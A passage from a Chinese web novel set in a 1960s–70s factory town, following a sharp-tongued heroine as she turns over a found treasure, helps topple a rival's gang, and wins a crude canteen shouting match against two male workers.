“就是因为看上去不起眼才好藏东西,要是太显眼了,不就引起别人的注意了。这就叫做,越是危险的地方越安全。” “你说得对。” “可惜了,这宝藏没让咱们发现,要是被我发现,我不得发大财了。” 大家议论着,感慨着,有人捶胸顿足,有人摇头叹息,说什么的都有。 他们自己说完了,还到处去打听消息。 魏芬和王翠花李群英这群亲临现场的人,就成了大家聊天的香饽饽,手里被人塞了好几把瓜子。 还有人试探道:“听说那里面有成箱子的珠宝古董啥的,你们就没有趁机拿一件?” 王翠花说:“我可没往那方面想,那些宝藏都是国家的,咋能往自己家里拿呢。” 魏芬也说:“那山洞里有炸弹和手榴弹,进去会有危险的,是命重要还是宝贝重要?” 还有人说道“我们都没进去,怎么拿?我们可不是那种人,小宋更不是,她进去时连书包都没背,看一眼就赶紧出来了。公安来了之后也说了,装珠宝的箱子都没打开。” 打听的人心中暗暗惋惜,这个宋知南真是死心眼呀,你让大家伙进去一人拿一件宝贝该有多好。进了一趟宝山却空手而回,多可惜啊。 魏芬王翠花几人倒是看得挺开,不是自己的东西千万别惦记,那些宝藏都是国家和集体的,你现在拿了又怎样?以后被发现了还是得还乖乖地还回去。再说了,山洞里面还有炸弹和手雷啥的,大家伙要真涌进去一通胡乱翻腾,万一不小心爆炸了,说不定连小命都没了,孰轻孰重呀。 反正,他们觉得宋知南想得挺周全的,做得也挺对的,现在这个结果其实蛮好的。 宋知南发现宝藏的事在青阳当地甚至是本省都引起了轰动,红星纺织厂的领导们是震撼加惊喜,工人们像过年似的,喜气洋洋,与有荣焉。 宝藏可是他们工厂的人最先发现的,他们好多人当时就在现场。凡是想知道详细情况的人一般都会向他们打听,还有人递烟,请吃饭,这些人最近人缘都好了许多。 青阳市政府奖励发现者宋知南一面锦旗和50元奖金、10斤肉票,并通报表扬她。 街道办事处奖励宋知南一盒子点心和一套《湖南老爷爷选集》,纺织厂奖励宋知南10米布。 宋知南说藏宝洞虽然是她第一个发现的,但在场的大家应该都有份。荣誉她已经得了,那好处就应该分给大家伙。 她先分给小婵小娟银玲宋冬宝每人两块钱,毕竟人家一直跟着她努力的挖洞。 这四人收到钱这笔巨款,乐得合不拢嘴。 其余在场的人分平分奖金和肉票,大人不像几个孩子收得那么痛快,虽然心里渴望,但表面上都推辞不要:“我们只是在现场而已,又不是我们发现的,咋好意思要呢。” 他们不要,但宋知南坚决要给:“没有你们在旁边看着给我支撑,我一个人可不敢进去。后面霍峥嵘那帮人非要进来,也是你们帮着拦着。霍峥嵘要打我,也是翠花姐挺身而出帮我。咱们都是自己人,自己人跟自己人客气什么呀。东西一分也没多少,就当一起乐呵乐呵。” 这帮人推辞了一会儿,最后只得收下,每个人都是欢天喜地的,暗暗称赞宋知南是真大方仗义。这要换了他们,都未必舍得把到手的好处分给别人。 对于宋知南的举动,大家伙又是一通议论。 “这个小宋怎么那么大方啊?到手的好处都分出去了。” “天啊,连肉票都舍得分。” “人家是真仗义大方啊,反正换了我,我是不舍得分,我要吃肉吃个够。” “哎,你们说小宋的家人会怎么想?宝藏宝藏一点没捞着,现在小宋得到点好处又转手分给了别人。李玉华宋上进那俩口子不得心疼坏了?” “我猜也是。” 报社来人采访时,宋知南也把大家伙都给叫上,还让记者给她们拍了一张大合影留念。这下王翠花和魏芬她们兴奋得脸都红了,她们也上报纸了。 记者问了一个大家都想问的问题:“宋同志,当你看到成箱的珠宝和古董时,你真的没有一点心动吗?” 宋知南面色严肃:“我看到那些珠宝,首先想的是这些珠宝都是岛国人抢来的,上面有咱们国人的鲜血和眼泪。做为一个龙国人,我恨不得重回那个年代痛揍小鬼子,救我同胞,我又怎么能忍心把这些财宝占为已有呢?再说了,现在国家这么困难,既要防苏修,又要赶英超美,这些钱用来建设国家不好吗?” 记者肃然起敬:“宋同志,你的觉悟真是太高了。” 宋知南谦虚道:“这不算什么,换了谁都会这么做的。” 记者继续问:“可是我听说有一个霍同志说宝藏本应该是他的,还差点跟你动手,有这回事吗?” 宋知南想了一下,恍然大悟道:“哦,你说霍峥嵘啊,确实是有这么一回事。当时在场的不止我一个人,你也可以采访一下其他人。 据说,这位霍同志十年前曾和一个小伙伴遇到过敌特,他是从敌特的口中得知这附近有一个藏宝洞的。这些年他一直在他父亲的帮助下,带着手下的兄弟们在偷偷寻找宝藏,没想到阴差阳错之下,我抢先一步发现了藏宝洞。这对他来说,确实是个沉重的打击。所以,他当时情绪非常非常不稳定,做出了一些不理智的事情。” 记者双眼一亮,又发现了一个大新闻。他准备深入调查一下此事。 记者去深扒霍峥嵘的过往,这个昔日的小英雄彻底翻车了。 这人藏得挺深啊,十年来一直守口如瓶。人们又猜测霍峥嵘的父亲是不是也知道此事?众人得出的结论是他肯定也知道。霍峥嵘当年还是一个孩子,遇到那么大的事没道理连家长也瞒着。 霍峥嵘父子俩一起被推上了风口浪尖。 霍副总工当了几年领导,也得罪过不少人,这下墙倒众人推,举报信像雪片似的飞上机械厂领导们的办公桌。 与此同时,市革委会也发现了一些举报信,其实早就有人举报过霍峥嵘团伙,但是霍峥嵘跟他们当中的某些人关系不错,他们也就睁一只眼闭一只眼。 但是现在,霍峥嵘父子俩都即将要倒霉,以前的那点关系自然也不用在意了。而且报纸上铺天盖地都是霍峥嵘的消息,他们也不能落后呀,必须得紧跟时事。革命委员会,如果落后了,还怎么能叫革命呢。 于是,市革委会开始连夜调查霍峥嵘王左李松等人,这帮人最擅长的事就是给人安上各种各样莫须有的罪名,无罪能变成有罪,小罪能变成大罪,什么稀奇古怪的罪名他们都能捏造出来。 更何况是霍峥嵘这帮人是浑身都有问题,他们一查一个准,越查越上瘾。最后扯出萝卜带出泥,一咬就是一大串。 李松王左陈青三人被分开审讯,最先招供的是陈青,他本来就最胆小,再加上霍峥嵘又打了他,他没有任何心理负担地就出卖了霍峥嵘,还哭着恳求革委会轻判他,因为他有年迈的爷爷奶奶要养。 接着是王左,他对出卖霍峥嵘也没什么心理负担,他还挺委屈,我虽然喜欢江茶,但我又没有真给你戴绿帽子,你怎么能动手打我? 不过,王左对自己当时的表现也很奇怪,就跟鬼使神差似的,不由自主地就想说真话。那个地方太邪门了。他发誓,他以后再也不钻山洞了。上次进洞被砸,这次当众出丑挨打。 最后是李松,起初李松不想背叛霍峥嵘,毕竟,他是最讲义气的人,他要是出卖大哥,以后道上的人怎么看他?他的脸面和名声还要不要了? 对付李松这种嘴硬的人,革委会的人有的是办法,直接动手审,李松招没有自己想像中的坚贞不屈,他挨了几顿打就招架不住,什么都说了。 他们三个人每个人供出的内容还都不一样,革委会这帮人也算是见了世面。 霍峥嵘这几年是真没闲着呀,他先是利用他爸的职权,窝藏红小兵抄来的古董书籍,王左家的地下室有很多毒草书籍,陈青家的破院子里也藏着古董和书。 除此之外,他们还在黑市倒买倒卖,赚了大量的钱财。 革委会的效率很高,大笔一挥,直接给三人判了五年的劳动改造。 宋知南一听这三人很快就要去劳改,就赶紧带着宋冬宝把王红兵堵在巷子里,让他带人去抄李松和王左还有霍峥嵘的家。 王红兵本来就后悔招惹了宋知南这个狠人,现在一看自己的大后台和小后台都倒了,气势上就更弱了。 他弱声问道:“南、南姐,我干完这一票,咱们之间是不是就可以了结了?”又是被打又是被堵的,这谁受得了? 宋知南一脚踹在王红兵的腿弯处,王红兵扑通一声跪下。 宋冬宝死死地摁住他,宋知南双手掐着王红兵的脖子,笑吟吟地说道:“你只要乖乖地听话,我这人还是很好说话的。” 宋冬宝想起了他被姐姐掐住脖子的那个并不遥远的下午,他觉得呼吸困难,浑身一颤。 他庆幸自己幸亏是姐的亲弟弟,要不然,他会比王红兵还惨。 王红兵的呼吸越来越困难,他艰难地说道:“南姐确实好说话,你是个好人。” “去吧,抄了这三人的家。”至于陈青家,只剩下老头老太太,宋知南都懒得去为难他们。 “嗯嗯。” 宋知南突然松手,王红兵如蒙大赦,拔腿就跑,可他的腿跪麻了,刚跑两步,扑通一下摔了个狗啃屎,他也顾不上喊疼,爬起来继续跑。 宋知南看着王红兵那狼狈逃窜的背影,摇头叹气:“现在的男孩子啊真是越来越胆小了。” 宋冬宝不自然地陪笑:“可不是嘛,确实越来越胆小了。”谁遇到姐这样的人不胆小呀。 王红兵回家后赶紧带着小弟们马不停蹄地去抄这李松、王左和霍峥嵘三人的家。 为了进一步讨好宋知南,王红兵还贴了很多大字报揭发霍峥嵘一行人的罪行。虽然南姐没说,但她一定喜欢。小弟就得有小弟的样子,他当过他知道。 霍峥嵘目前在拘留所,他的罪名多且都不轻,首先一个故意隐瞒敌特消息,欺骗人民,意欲私藏武器和宝藏这一大罪名就跑不了。后面还有投机倒把,倒买倒卖之类的罪名。 顾朝华还在医院治疗,李松王左两人的家被王红兵带人搜了个遍,陈青家的院子也被搜查了,搜查的人从中找出了很多不利于他们的证据,三人即将被送往青海劳改。 江茶平常与这伙人来往十分密切,现在她在纺织厂的处境愈发艰难,她的家人怕他们供出对江茶不利的证据,赶紧让江茶辞职,再火速地给她报名去内蒙插队,想让她赶紧离开这个是非之地。 一波又一波的坏消息传到江茶的耳朵里,她先是懵了,之后便怒气冲冲地来找宋知南。 她双眼冒火,盯着宋知南的眼睛一字一句地说:“宋知南,你为什么要这么做?是你毁了我们大家,人在做天在看。” 宋知南淡声道:“毁了你们大家,拯救更多的人,你不觉得很划算吗?你们不下地狱谁下地狱?” 杠精值加30。 江茶咬牙切齿地说:“宋知南,你把事情做得太绝了。你知道吗?其实以顾朝华的性子,哪怕他刚开始接近你有打赌的意思,但只要你好好地跟他相处,说不定能得到他的真心,他的本质并不坏。你错过了陈青这样老实善良的男人,又错过顾朝华这样的高干子弟,你以后一定会后悔的。我就等着你悔不当初的那天。” 宋知南微笑道:“既然你这么喜欢,那就全收了呗。霍峥嵘有什么好?你非得死心塌地跟着他?我觉得顾朝华也不错啊,像你说的,人家是高干子弟。哦,他的眼睛和下面都被霍峥嵘给铲坏了,但我跟你讲,残疾的男人也很好玩的,有的人就慕残。 其实李松也可以,人虽然粗枝大叶,但人家讲义气嘛。陈青也行的,他孝顺啊,王左也不错。你完全可以脚踏多条船嘛。毕竟你那么招男人喜欢,这一身本领只施展在一个男人身上,你不觉得可惜吗?我要是有你这本领,我就万男丛中过,片叶不沾身,让他们人人头上都带点绿。你再顺便捞取点好处,你看多完美。” 宋知南在江茶耳边如魔鬼低语:“你难道不想试试,把对象的哥们一网打尽是一种什么感觉吗?凭你的本事,你能做到的。为什么要压抑自己的天性?解放啊。” 第75章 江茶怔怔地看着宋知南, 她压低声音咬牙说道:“宋知南,你真是个恶毒的小人, 你在教唆我犯罪?” 宋知南:“这是犯罪吗?顾朝华谈十五个对象,怎么没人说他犯罪?怎么到你这儿就是犯罪了?为什么他可以,你不可以?” 宋知南摇头叹息:“唉,你是念着佛杀着猪,带着镣铐跳着舞,一边当老鸨一边要牌坊,你说你这是何苦?我给你指条明路,你说我教唆你犯罪。你是干啥啥不会,扣帽子数你出类拔萃。随你去吧,我点到为止。反正下乡的不是我,受苦的不是我。” 杠精值加100。 宋知南说完这番话翩然离去, 她现在忙得很, 四处查缺补漏, 看哪堵墙没倒踹一脚;看谁没死透,就补刀;都死得差不多了, 还得总结写素材, 标记一下,看谁还有可能重来。 宋知南一边工作一边关注着这些人的消息。 首先是顾朝华的消息,他先在青阳市医院住了几天,由于伤势太重,之后顾家派人将他接回首都医治。 而霍峥嵘的家人则四处奔走,拿出全部家产,找医院给他开了个证明, 说他有间歇性精神病,把他接出去保外就医。 因为霍峥嵘患有精神病, 顾家现在也就没法追究他的刑事责任。这是在青阳,霍家做为本地人更有人脉,加上顾家那边又出了事,实在是鞭长莫及,只能暂时放下。 但顾霍两家从此反目成仇,以顾家人的性子,以后一定会想办法报复回来。 霍副总工愁得几乎一夜白头,暗骂这个儿子不省心。他终于下定决心,不能留这个祸害在城里了,干脆送到乡下老家去吧。 江茶不是一直扒着他儿子不放吗?这起事故里,江茶难逃干系。霍副总工知道自己这个副总工也干不下去了,他有很大的可能性得去劳改。 他打算利用自己的最后一点权势和人脉保住儿子,说是人脉,其实是他手里掌握了某些人的把柄,大家见他已经被逼到这个份上,生怕他也像霍峥嵘一样什么都往外说,弄得大家日子都不好过,索性捏着鼻子帮他一把。反正他们霍家已经是秋后的蚂蚱,蹦跶不长了。 霍副总工把江茶的插队地点改了,改在了他的老家江南省霍家寨,那里群山连绵,交通闭塞,儿子可以好好在那儿养身体,顺便接受些磨炼。霍副总工发电报告诉老家人,江茶是他儿媳妇,让他们好生照看。 霍峥嵘离开时,也不忘利用自己的最后一点人脉给宋知南添堵,他先是造谣,再就是花钱请人找宋知南的麻烦。 说他之所以跟顾朝华闹成那样,都是因为宋知南从中作梗。宋知南因为父母重男轻女,从小就仇恨男人,从小就跟哥哥弟弟不合,视自己的亲哥哥为仇敌。宋秋实下乡是她偷偷报的名;宋秋实被割,她去演讲,踩着自己哥哥往上爬;她姐夫的蛋被捏坏,也是她怂恿她姐干的,这样下去,不知道下一个倒霉蛋是哪个男同志。 纺织厂的男同志本来就对宋知南很不满,这其中最不满的当数王小雪的丈夫林光宗,王翠花的丈夫吴得宝,还有边月的后妈渣爹等等。 平常倒没什么,现在被有心人一煽动,这帮人就悄悄团结起来暗戳戳搞事。 这里面的有心人包括霍峥嵘的小弟王强,江茶的迷弟李小志。这两人不是霍峥嵘的忠实跟班,是外围小弟,这次的事件没波及到他们。霍峥嵘托家人给两人送了二十块钱。 他们两人的任务把水搅浑,专门给宋知南添堵。 这天中午,宋知南去食堂打饭,她一进来,众人的目光就刷地一下集中到她身上。 宋知南早已习惯大家的注视,拿着两个饭盒,继续往前走。 没想到这次不一样,她刚走几步,就有人堵在她面前。 她抬头一看,是两个年轻男人,一高一矮,一胖一瘦。 宋知南先礼后兵:“两位请让一让。” 这两个男人丝毫不让,大声说道:“宋知南,纺织厂不欢迎你这种人,我们要求你滚出纺织厂,滚出工会。” 其他人面面相觑,这是怎么回事? 宋知南冷静地问道:“两位,纺织厂是你们家开的吗?” 杠精值加10。 高个男子昂头回答:“纺织厂不是我们家开的,但我们是工厂的主人翁,我们有权利要求你这种人滚出去。” 宋知南笑笑:“不是你家开的,但你还有权利,那就奇了怪了。你是主人翁,难道我就不是?” 杠精值再加10。 宋知南问旁边的围观群众:“这两人叫什么名字?是不是得了精神病?为什么会突然发疯?” 李群英也来打饭,她挤进人群高声回答宋知南的问题:“高个子的叫王强,矮个的叫李小志,他们有没有病我不知道,但我知道,他们是霍峥嵘和江茶的走狗,人家是在为自己的主人鸣不平。” 围观群众倒吸一口冷气,这个李群英也真勇敢,就这么敢说,也不怕得罪人。怪不得她跟宋知南走这么近,真是物以类聚,人以群分。 王强和李小志对视一眼,王强直接向李群英开炮:“李群英,这是我们跟宋知南之间的事,关你屁事?你一把年纪了还嫁不出去,赶紧操心操心自己的终身大事吧,别跟在宋知南这种人屁股后头,对你没有一点好处。” 李群英都气笑了,以前这些人都是在背后议论她年纪大嫁不出去,这次竟然敢当着她的面说了。 李群英正在平复怒火,准备回骂过去,宋知南已经先开口了,她阴阳怪气地说道:“王强是吧?你家里没有镜子也得有尿吧?你不对着尿桶照照自个儿吗?就你这熊样,疙疙瘩瘩满脸跑,苍蝇飞你脸上都崴脚。就这还好意思嘲讽别人。” “哎哟歪,二十七都老了?你能永远年轻?你确定自己活不到二十七是吗?” 杠精值加10。 宋知南的话音一落,就有人用力鼓掌:“骂得好,这人肯定活不到二十七。” 叫好的是一帮女同志。 王强正要反击,宋知南根本不给对方机会,继续输出:“二十七就老了,那你爸你妈四五十了,是不是得扔了?你爷你奶六七十了,是不是得赶紧埋了?领袖说,我们妇女能顶半边天,你们倒好,妄图想遮我们的天。我代表跟我一样的女同志强烈要求:一手遮天王强必须滚出纺织厂,还我们一片朗朗晴天。” 杠精值加5。 “对,必须滚出去。” 王小雪和几个车间女工也来打饭,一看宋知南被围攻,立即上来声援。 渐渐地,女同志站一边,男同志站一边。纺织厂女工居多,她们女方这边自然人更多。 很快地,更多的人涌进来。 食堂里拥挤不堪,有的人连饭也不打了只顾着看热闹,有的人机灵,打了饭一边吃一边看热闹。 林光宗吴得宝他们也在对面的队伍中。 李小志一看这么多人支持自己,立即勇气倍蹭,他嫌自己个子太矮,不够威风,便腾地一下爬上食堂的长桌,大声说道:“宋知南,你应该深刻反省,你知不知道,不光咱们纺织厂,就连钢铁厂机械厂的男同志都抵制你,他们私下里都结成联盟,谁敢跟你处对象就孤立谁,你知不知道,大家都说他们绝对不会娶你这样的女人当媳妇?” 以前他就这样骂女同志,一骂一个准,他不信宋知南能例外。 宋知南淡淡一笑,反问道:“大家是谁?现在就请给我站出来。让我认一认你们都是谁?” 杠精值加5。 在场的男同志都愣住了,一时间没一个敢站出来。 宋知南冷笑道:“这么怂啊,敢说不敢认。一个个的连老鳖都不如,人家还能伸能缩呢,你们倒好,只一味地缩着。” 杠精值加100,她一句话杠了五十人。 王强和李小志对视一眼,王强也站到了饭桌上,与李小志并肩站在一起,大声说道:“别人敢不敢认我们不管,我们敢承认,我们俩就是不喜欢你这样的,也绝对不会娶你这样的女同志当媳妇。” 众人议论纷纷,男同志相互挤眉弄眼,幸灾乐祸。 女工们义愤填膺,群情激愤。 宋知南点头:“非常好。” 接着她的语气陡然变得严厉起来:“王强,李小志,我以前都不认识你们,你们俩喜欢什么样的女同志关我什么事?你们俩现在当着大家的面跑到我面前说这种话,是什么意思?是不是在思想上耍流氓?” 杠精值加10。 王强和李小志异口同声:“我们对你耍流氓?你开什么玩笑?” 宋知南突然从挎包里拿出一个小喇叭,这个喇叭是以前买的,随手扔在了空间里,现在她假装从挎包里拿了出来,正好用上派场。 宋知南举着小喇叭对着人群高声喊道:“大家请注意看,王强和李小志,看到一个女同志就首先想着喜不喜欢她?就想着这种人适不适合娶回家当媳妇。” “我请问在坐的各位,哪个正经男人会这么想?我想请问一下,你们二位的父母是怎么教你们的?你们的老师是怎么教你们的? 你们两个太可怕了,以后哪个女同志还敢从你们面前经过?谁经过你们面前你们不得先在心里幻想一番?我们都被你们精神侮辱了。请王强和李小志给纺织厂的女同志一个交代。” 杠精值加30。 李群英和王小雪最先附和:“对,你们必须给我们一个交代。” 其他人一想到自己被人臆想,就感觉自己被侮辱和冒犯了,也跟着一起大喊:“交代,必须交代。” 声势越来越大,险些把食堂的房顶级给掀了。 打饭的师傅们也不打饭了,纷纷离开岗位前来看热闹。 其他本来不在食堂吃饭的职工们也纷纷赶来看戏。 王强和李小志被宋知南逼得节节败退,狼狈不堪,两人事先准备好的台词也忘得差不多了,只记得一些根深蒂固的东西。 王强像个复读机似的一直重复着:“宋知南,你这样的女同志,没有男人敢要你。” 宋知南拿起喇叭继续对轰:“我没男人要,但王强同志有男人要,他天天被很多男人同时要,纺织厂钢铁场机械厂的男人日日夜夜拿着钱排着队要他。大家给他鼓掌,表扬他为男同志暖被窝送温暖。” 杠精值加5。 女工们一边鼓掌一边放声大笑:“哈哈哈,对,他有男人要,他被很多男人同时要。” 不光宋知南被句话骂过,在场的很多女工都被这句话攻击过,以前想不出回骂法,现在知道了,以后就这么回。 今天真是痛快,出了一口陈年的恶气。 王强的脸憋得通红,他声嘶力竭地反驳着,但都被淹没在众人的笑声中。 宋知南再接再厉,继续说:“大家停一停,看一看了。这个王强渴望被很多男人要,天天想,夜夜想,一刻不想心里直发慌。别人顶多是走后门,他倒好,天天想开自己的后门。你们这些不好这口的男同志一定要小心一定要注意,地狱空荡荡,色魔在人间,色魔就在咱们身边。” 众人一起狂笑起来。 宋知南不但说,她还当场写文章,从书包里淘出笔和纸,刷刷写了三个标题:《地狱空荡荡,王强在人间》、《王强天天渴望被男人要》、《王强开自己后门》。 第76章 大家伙倒吸一口冷气, 这也骂得太狠了。这个宋知南果然不能随便惹。 女同志们却觉得特别神清气爽,她们今天算是学到了, 以后不论男女,只要谁敢再说你没有男人要,她们就这么回怼。宋知南不愧是她们的榜样,瞧人家这气势,对上谁都没输过。学习,必须学习。以后再跟人吵架绝对不能再气得说不出话来,一定要场骂回去。 王强听着人们嗡嗡的议论声,看着大家神色各异的笑脸,再看看宋知南那气定神闲的模样,绞尽脑汁也找不出一句适合的话反驳。 他气得眼前一黑,扑通一声倒在桌上, 幸亏围观的人太多, 及时接住了他, 才没有让他栽倒在地上。 现场一片混乱,饭桌上另一个挑头的李小志, 此时也是一脸茫然和无助。战斗才开始, 队友怎么就倒了? 王强被大家七手八脚地抬进了厂里的医务室。 李群英一看这种情况,不由得眉头一皱,这下,宋知南的麻烦大了。不行,得赶紧想想办法补救。 宋知南也愣了一下,历史总是惊人的相似。前世,她跟人对线, 对面的人犯病,结果事情闹大, 她的号都被封了。这次的麻烦绝对不会小。 行行,你们脆弱,你们身娇体软,你们动不动就晕,那我也晕吧。以后再遇到疑似碰瓷的,一定要先对方一步倒下。 她靠在李群英身上,闭着眼睛说道:“哎哟,我感觉我眼前一黑,金星乱飞,四肢无力,还喘不上气。” 李群英立即会意,大声问道:“知南,你怎么了?你是不是也气病了?别怕,我们扶你去医务室。” 王小雪和一帮女工及时反应过来,一起过来搀扶宋知南。 宋知南“无力”地摆摆手:“别去医务室了,我不想浪费厂里的资源,我能撑住,就是气狠了。让群英扶我回家歇着。对了,我是来打饭的,你们谁把我的饭盒拿到办公室,再通知何黛一声。” 何黛已经来了,只是围观的人太多,她来得晚,根本挤不进来。 听到宋知南提到自个儿的名字,何黛跳起来在外圈应道:“知南,我在这里,你放心回去休息吧,我帮你向贺主任请假。” “谢谢。” 有人把饭盒从头顶递到外圈的何黛手里。 宋知南放心地靠在李群英肩上,两人慢慢地往家走去。 其他女工也跟在她们身后,李群英见人就解释:“知南是被王强和李小志给气晕了。这两人在食堂公然向知南发难,还说要把她赶出纺织厂。” 王小雪接着说道:“他们骂知南没男人要,知南就说了一句:你有男人要,你被很多男人要。王强骂不过她,就当场装晕进医务室了。哎哟歪,你们说,哪个正经男人会天天想着自己被男人要,他是不是把咱们女同志当情敌了?他还天天琢磨哪个姑娘适合娶来当媳妇,他就是要娶回去一个老实好欺负的,以掩饰他那不可告人的秘密。” 骂人就要诛心,造谣也要用心,王小雪经过这段时间的学习,进步飞快,在家里,林光宗早已吵不过她。林光宗像当年的反动派一样,不甘失败,负隅顽抗,反复反扑。 王小雪这话一出,果然引起了大家热烈的讨论: “这、这到底是真是假啊?” “谁知道呐,这年头不正常的人太多了。” “要是真的话,那可太可怕了。” …… “以前也没听说王强和李小志跟宋同志有仇啊,这次他俩为啥跳出来为难宋同志?” “我之前也不理解,听完小雪的话我明白了,那就是王强喜欢霍峥嵘,霍峥嵘长得多俊,不光女的喜欢,男的也喜欢啊。” “啊?哦——” 词虽少,但十分意味深长。 护送宋知南的队伍一路走一路传播着新闻。 平常十分钟的路,这次走了二十分钟。 到了门口,李群英扶着宋知南,从她书包里掏出钥匙开大门。 黑米和小虎一起出来迎接,一看主人半倒不倒,吓得黑米尾巴都静止不动了,呜呜地叫着,一脸地茫然和惊慌。 小虎没见过这么多人,吓得一下子跳到墙上,一双猫眼里全是警惕和戒备。 大家观察着院里的摆设,忍不住夸宋知南会过日子,瞧把这院子打理得多好。 哟,还有沙袋,怪不得那么能打。那圆圆的泥球也不知道是干嘛的。 李群英对大家说道:“时间不早了,你们大家该回去上工了,你们谁帮我请个假,我留下来照顾宋同志。” 王小雪主动说:“我去帮你请,你好好照顾小宋,我下班再来看她。” 李群英说:“谢谢王姐。我现在就是担心厂领导知道这事后,会批评知南。” 王小雪提高嗓门说:“领导也得讲理吧。小宋做错什么了,还要挨批评?明明是王强和李小志先挑事的。” 李群英苦笑道:“王姐你不懂,虽然咱们厂女工多,可是领导队伍还是男同志居多。男人总是向着男人说话。” 王小雪:“我懂,我怎么不懂?我跟光宗吵架,他的那帮哥们都帮着他说话。就宋同志替我说话。” “好了,不说了,你们赶紧回去上班吧。” 一帮女工一边小声讨论一边往回走。 等到众人一离开,李群英就关上院门,回屋陪“病人”。 宋知南在床上悠悠醒转。 她第一句话就是:“王强这个王八羔子,害得老娘都没吃午饭。” 李群英说:“我也没吃。你等着,我去给你做。” 李群英去厨房做了两碗疙瘩汤,两人一人喝了一大碗,身子微微出汗,十分舒服。 吃饱喝足,该商量正事了。 李群英先开口:“你得做好思想准备,领导一定会找你谈话的。” 宋知南不在意地说:“没事儿,谈过好几次了,也不差这一回。” 李群英忍不住叹息一声:“咱们厂里女工占七成,但领导层却没几个女同志。我估摸着杨主任会替你说话,贺主任也会。其余的就不知道了。” 宋知南眨巴着眼睛:“所以,群英,你得赶紧升到领导岗啊,我帮你定个短期目标,你先当上你们宣传科的科长。” 李群英无奈地说:“你以为科长那么好当,一个萝卜一个坑,排在我前面的萝卜一大片,坑却只有一个,还得按资排辈,哪年才能轮到我?” 说到这里,李群英正色道:“我升职的事以后有的是时间聊,现在的当务之急是你的事。咱们必须得多做准备,我的想法是这样的:今天这事是王强和李小志先挑起的,他们负主要责任。中间王强晕过去,但你也晕过去了,你俩扯平。但我担心厂领导为了所谓的大局,为了平息男职工的怒火,还是会处分你。” 宋知南说:“男职工有怒火,女职工就没有吗?” 李群英说:“这正是咱们可以利用的一点,我回去游说女工,弄一份万言书让她们签名为你求情。” 宋知南说:“群英太谢谢你了,我终于也有帮手了。” 李群英接着说:“要是说动一部分男职工就好了,就更有说服力。” 宋知南思考片刻,说:“其实也不是没有,比如保卫科的赵大刚,搬运工张铁山他们应该没问题。” 李群英眼睛一亮:“没问题,我回去试试。” 李群英做事风风火火,她想着宋知南反正也没真晕,就起身说:“你自己歇着吧,我得回去忙活了。事不宜迟,要越快越好。” “辛苦你了。” 李群英嘁了一声:“跟我客气什么?说实话我做这些事的时候,正好顺便出口恶气。咱们女人谁心里没有憋着几口怒气?也就是没人带头,现在由你带头,大家正好发泄发泄一下积年的愤怒。” 李群英离开后,宋知南也没闲着,立即起床,准备写稿。 她今天要写的文章跟心理学沾边,题目就叫做《你骂别人什么,你就越在意什么》。 “心理学有个词叫做‘投射性认同’,它指的是个体通过将自己或内心世界中不想要的部分转移到另一个人身上,来实现对不想要的部分进行管理的一种幻想。 说人话就是,一个人越害怕什么,越会骂别人什么。他骂别人什么,也就最害怕什么。 比如一个人骂你没男人要,这就说明,他/她最怕自己没男人要,这是他内心深处最深的恐惧,他以为这样骂你,你就会受到伤害。你回骂他没男人要,他会生气;他回骂他被很多男人要,他会更生气,因为被很多男人要,名誉毁了,会最终导致他没男人要。所以,吵架是一项理论指导实践,实践又反作用于理论的社会实践。 宋知南用通俗易懂的文笔写道:“笔者建议大家要放大格局,革命青年要心怀革命理想,不要满心黄色幻想,不要想着自己有没有男人要,要多想想怎么为祖国为人民做贡献。同时,笔者还建议部分男同志要树立正确健康的恋爱观,婚姻观。” 宋知南写完文章,心头一放松,就抱着猫睡着了。一觉醒来,天快黑了。黑米的狗眼里全是担忧。 宋知南打着哈欠去做晚饭,她一出房门,就看见李群英就端着一盆饺子用身体推开院门进来:“我爸包的饺子,你有口福,赶上了。” “你真是及时雨,我正好饿了。” 宋知南上前接过饺子,两人坐在桌前一边吃饭一边说话。 李群英说:“这一下午我没白忙活,大部分女工都签名声援你,赵大刚张铁山等一帮人也签了名。一会儿我拿给你看。你随身带着,明天上午,领导找你谈话,他们敢说你不得人心,不团结同志,你就把万言书拍在他们面前。” 李群英吃完饭,把万言书拿出来。 只见上面写道:我们都认为宋知南同志是个工作认真负责的好同志。王强和李小声思想有问题,他们的指控纯属无中生有,生编乱造。这两人思想不健康,不好好工作,见到女同志和男同志就在脑子里臆想,这是思想流氓罪。 下面是密密麻麻的签名,还有十几个手印,背面也全是签名。 宋知南感慨道:“群众的目光果然是雪亮的。” 李群英陪宋知南吃完晚饭,端着瓷盆离开。 宋知南把“万言书”装进书包,打算趁着睡前精神好,再干点儿活。 霍峥嵘临走前还给她送了一份礼物,来而不往非礼也,她也送对方一份大礼。 宋知南铺开稿纸继续写举报信,接着举报霍副总工,除草不拔根,春风吹又生。斗儿不斗爹,迟早得跌。 霍副总工现在在隔离审查,他被查出一堆问题,且又与敌特有牵扯。罪名绝对小不了。 这堵破墙本来就摇摇欲晃,宋知南再狠狠踹这破墙一脚,墙必然会轰然倒塌。 写完举报信,宋知南伸了个懒腰,准备睡觉。睡饱了,明天才有精神打硬仗。 她有预感,明天又将是收获满满的一天。 她打算等活到120岁的时候就出一本长寿秘诀:我长寿的秘诀就是抬杠骂人,骂人可以维护道心,脏话说出来,心里就不脏了。杠领导收益最高,一般人我不告诉他。 第77章 次日清晨, 宋知南神清气爽地刷牙洗脸吃早饭。 她进纺织厂大门时,赵大刚还特意跟她打招呼:“宋同志, 我们都支持你,你不要担心,没事的。” 宋知南冲他笑笑:“赵同志,我相信公道自在人心。签名的事谢谢你了。” “不用客气,你赶紧进去吧。” 宋知南一进妇联办公室,水都没喝上一口,就有人来通知她去开会。 何黛一脸紧张地安慰宋知南:“知南,没事的,你别紧张。” 宋知南冲她笑笑,就跟着通知的人一起走了。 那人领着宋知南进了大会议室,推门一看, 乌压压的全是人。 工会和厂委的人都来了, 甚至连吴厂长和李副厂长也出席了。 李副厂长板着一张丑脸, 让会议室的气压都低了几度。 其他人拖动椅子都小心翼翼的。 等到大家到齐后,李副厂长环视一圈, 清清嗓子, 慢条斯理地说道:“昨天中午,在食堂发生了一起恶性事件,影响非常不好。王强现在还在医务室休养。今天,咱们大家开会好好讨论讨论这件事。” 杨主任说:“李厂长,昨天下午我去医务室看过王强同志,医生说他的身体并无大碍。” 李副厂长面沉似水地嗯了一声。 本来轮不到李群英一个科员发表意见,可是她还是鼓起勇气站起来发言:“李厂长, 昨天宋知南同志也晕倒了,是我们大家把她搀扶回家的。” 李副厂长冷冷地扫了李群英一眼, 厉声问道:“谁允许你发言的?” 宋知南站起来说道:“李副厂长,我做为当事人应该可以发言吧?” 